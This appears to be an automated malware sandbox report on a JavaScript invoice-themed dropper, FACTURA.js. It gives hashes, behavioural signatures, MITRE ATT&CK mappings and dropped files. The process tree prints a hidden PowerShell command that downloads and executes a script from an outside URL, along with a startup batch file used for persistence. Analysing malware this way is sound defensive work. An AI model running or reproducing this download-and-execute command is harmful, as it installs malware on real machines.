69be2fb242004d25e62678907c4fec02a79fcafff49956a85a38e6a20d6e3a0f

Analysis

max time kernel
150s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/07/2026, 00:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
FACTURA.js
Size 98KB
Sample260712-akfvtabt5k
SHA256 69be2fb242004d25e62678907c4fec02a79fcafff49956a85a38e6a20d6e3a0f
MD5 1c64bbe6bc42c08902199a9aa0d36adc
SHA1 8db76b61596fba10de86ba9a04236135e64a124e
SHA512 c458bfa05a818c6e235db0ade282a96e2b0b9b82f60d3c107584e9986350129a2e82c6ebb32c9c4d1b27ffc7021b589215ee53a9579c09999187a545ce978745
SSDEEP 3072:38Li8LATjQu8LVTjQa8LVTjQa8LVTjQeT:MDBcczT
TLSH
T17DA37C48CEB482CE3E36772C973F5515FAD49A138865D105B54DF9040FB884A8EFEAE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://prigta.top/cjr.jpg

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://prigta.top/cjr.jpg

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	816	5420	cmd.exe	87

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2864	powershell.exe
3	4488	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2864	powershell.exe
4488	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\loader.bat	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	wscript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2864	powershell.exe
2864	powershell.exe
4488	powershell.exe
4488	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	4488	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 816 wrote to memory of 2864	816	cmd.exe	90
PID 2864 wrote to memory of 4488	2864	powershell.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\FACTURA.js
1⤵
- Drops startup file
- Modifies registry class
PID:4864

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\loader.bat""
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -w h IEX (New-Object Net.WebClient).DownloadString('https://prigta.top/cjr.jpg')
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\tmp37B0.tmp.ps1"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4488

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3674b90c1caf1df47ef6cdfcff99b7987586cab16fe77bbe8318ca09a0cd9a77
MD5 8e905f2b8648d1e6d98fe873e767284e
SHA1 b351c01a95e361a8200fad41aaeb7eda7cd56d00
SHA512 651c9b32840f7670a5ab155e3a89147921c73c323076c72fa39573f6ab7c4a96a64a70cd8078822c004e1842515414c2eba88a034eceff86fab746e992d6fc90
TLSH
T160215733F3CC8624DC9A403650CEAC1136B687DB409EDE6BBB84D549B42F289DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

tmp37B0.tmp.ps1

Path C:\Users\Admin\AppData\Local\Temp\tmp37B0.tmp.ps1
Size 80B
SHA256 49780ae30d5c0e9f1ac2a858c287e6cc1f7c9a0dce8dca3fb211ad06d35c073e
MD5 71fcdcbd67c1bc8f7d0708a8484685b5
SHA1 7d2662c7b305b5a9c27770be732d13194e695bed
SHA512 c4e8c8638e9e455502332e6873ee050108fea27ed8847f35b395265ed71adc47a40393cf8927c3925dbf201c3bee127a5ac5bf6d79ebaed1c6372c46f212b7c8
TLSH
T11DA0120EA101E1AC040006C6C5555C84C40E19501472A05081A243E046404349008002
MD5 SHA1 SHA512 TLSH

Submit Download

loader.bat

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\loader.bat
Size 115B
SHA256 919c36602002de811ce0e0c8b33d2a5c11ec034012f7f0a42793e4476127c810
MD5 cf0e9c5e26983ebeb245b93ee688bbcd
SHA1 084cfe240e8c76fbccc35df74d288406c7c46df4
SHA512 c6faa4710b386b7d9a168191f1a854a53aba1b5b336f8881cc5db6140153a7631897063e325dcc2897cbbed2f6f4a910a129dab471bf48120582d5497e1b1abe
TLSH
T1AEB0921AB542E4AC494A4ADAD49A6CC4D90F0AA908A2A5D0D2A246E48A85C79E928006
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2864-9-0x00007FF903380000-0x00007FF903D24000-memory.dmp

Download

memory/2864-7-0x00007FF903380000-0x00007FF903D24000-memory.dmp

Download

memory/2864-8-0x00007FF903380000-0x00007FF903D24000-memory.dmp

Download

memory/2864-6-0x00007FF903380000-0x00007FF903D24000-memory.dmp

Download

memory/2864-10-0x00007FF903380000-0x00007FF903D24000-memory.dmp

Download

memory/2864-12-0x00007FF903380000-0x00007FF903D24000-memory.dmp

Download

memory/2864-13-0x00007FF903380000-0x00007FF903D24000-memory.dmp

Download

memory/2864-15-0x00007FF903380000-0x00007FF903D24000-memory.dmp

Download

memory/2864-16-0x00007FF903380000-0x00007FF903D24000-memory.dmp

Download

memory/2864-5-0x0000027968960000-0x0000027968982000-memory.dmp

Download

memory/2864-2-0x00007FF90350F000-0x00007FF903510000-memory.dmp

Download